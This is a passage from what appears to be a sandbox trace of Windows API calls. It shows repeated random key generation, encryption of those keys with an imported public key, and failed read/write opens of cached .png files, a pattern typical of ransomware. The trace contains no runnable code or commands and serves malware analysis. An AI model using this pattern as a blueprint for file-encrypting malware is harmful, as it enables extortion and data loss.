hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6960000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6960000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.467] GetLastError () returned 0x0 [0204.467] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.467] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.469] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfc90) returned 1 [0204.469] CryptGetKeyParam (in: hKey=0x50cfc90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.469] CryptEncrypt (in: hKey=0x50cfc90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6970000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6970000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.469] GetLastError () returned 0x0 [0204.469] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.469] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A90EDA99-693C-4259-AF53-D06F3BBAEEAB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a90eda99-693c-4259-af53-d06f3bbaeeab}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.469] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.471] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.472] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.472] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.472] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.474] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.474] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.474] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.477] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfcd0) returned 1 [0204.477] CryptGetKeyParam (in: hKey=0x50cfcd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.477] CryptEncrypt (in: hKey=0x50cfcd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6980000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6980000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.477] GetLastError () returned 0x0 [0204.477] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.477] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.479] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cff90) returned 1 [0204.479] CryptGetKeyParam (in: hKey=0x50cff90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.479] CryptEncrypt (in: hKey=0x50cff90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6990000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6990000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.479] GetLastError () returned 0x0 [0204.479] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.479] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A95B47FD-465D-4ACE-A006-DCCC9033E6DB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a95b47fd-465d-4ace-a006-dccc9033e6db}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.480] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.482] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.482] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.484] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.484] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.484] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.486] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfe10) returned 1 [0204.486] CryptGetKeyParam (in: hKey=0x50cfe10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.486] CryptEncrypt (in: hKey=0x50cfe10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x69a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.487] GetLastError () returned 0x0 [0204.487] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.487] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.488] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf910) returned 1 [0204.488] CryptGetKeyParam (in: hKey=0x50cf910, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.488] CryptEncrypt (in: hKey=0x50cf910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x69b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.489] GetLastError () returned 0x0 [0204.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.489] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{AE613841-F649-4CD7-AF4A-2E7B7D99E12E}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ae613841-f649-4cd7-af4a-2e7b7d99e12e}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.489] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.492] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.492] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.492] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.493] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.494] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.494] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.494] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.496] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfe50) returned 1 [0204.496] CryptGetKeyParam (in: hKey=0x50cfe50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.496] CryptEncrypt (in: hKey=0x50cfe50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x69c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.497] GetLastError () returned 0x0 [0204.497] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.497] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.498] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfed0) returned 1 [0204.498] CryptGetKeyParam (in: hKey=0x50cfed0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.498] CryptEncrypt (in: hKey=0x50cfed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x69d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.499] GetLastError () returned 0x0 [0204.499] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B5D14E8C-339B-4360-B40C-A274F460B417}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b5d14e8c-339b-4360-b40c-a274f460b417}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.499] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.501] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.501] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.501] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.503] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.503] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.504] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.506] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cffd0) returned 1 [0204.506] CryptGetKeyParam (in: hKey=0x50cffd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.506] CryptEncrypt (in: hKey=0x50cffd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69e0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x69e0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.507] GetLastError () returned 0x0 [0204.507] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.507] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.508] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cff10) returned 1 [0204.508] CryptGetKeyParam (in: hKey=0x50cff10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.509] CryptEncrypt (in: hKey=0x50cff10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69f0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x69f0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.509] GetLastError () returned 0x0 [0204.509] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B6815740-F01E-4E9E-AA05-D3CDE47C3DDC}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b6815740-f01e-4e9e-aa05-d3cde47c3ddc}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.509] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.512] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.512] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.514] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.514] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.514] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.516] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf850) returned 1 [0204.516] CryptGetKeyParam (in: hKey=0x50cf850, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.516] CryptEncrypt (in: hKey=0x50cf850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a00000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6a00000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.516] GetLastError () returned 0x0 [0204.516] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.516] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0204.518] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf8d0) returned 1 [0204.518] CryptGetKeyParam (in: hKey=0x50cf8d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.518] CryptEncrypt (in: hKey=0x50cf8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a10000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6a10000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.518] GetLastError () returned 0x0 [0204.518] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.518] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{C20F58C1-CDD0-45F9-9954-BDF0782633CB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{c20f58c1-cdd0-45f9-9954-bdf0782633cb}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.518] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.521] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.521] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.521] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.528] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.529] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.529] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.529] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0204.531] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d01d0) returned 1 [0204.531] CryptGetKeyParam (in: hKey=0x50d01d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.531] CryptEncrypt (in: hKey=0x50d01d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6a20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.531] GetLastError () returned 0x0 [0204.531] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.531] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.533] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d03d0) returned 1 [0204.533] CryptGetKeyParam (in: hKey=0x50d03d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.533] CryptEncrypt (in: hKey=0x50d03d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6a30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.533] GetLastError () returned 0x0 [0204.534] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{CE4E71D0-F1F5-4983-B2E3-40DB737B9226}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ce4e71d0-f1f5-4983-b2e3-40db737b9226}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.534] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.540] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.540] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.540] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.542] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.542] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.543] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.545] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0590) returned 1 [0204.545] CryptGetKeyParam (in: hKey=0x50d0590, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.545] CryptEncrypt (in: hKey=0x50d0590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6a40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.545] GetLastError () returned 0x0 [0204.545] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.545] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.547] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: 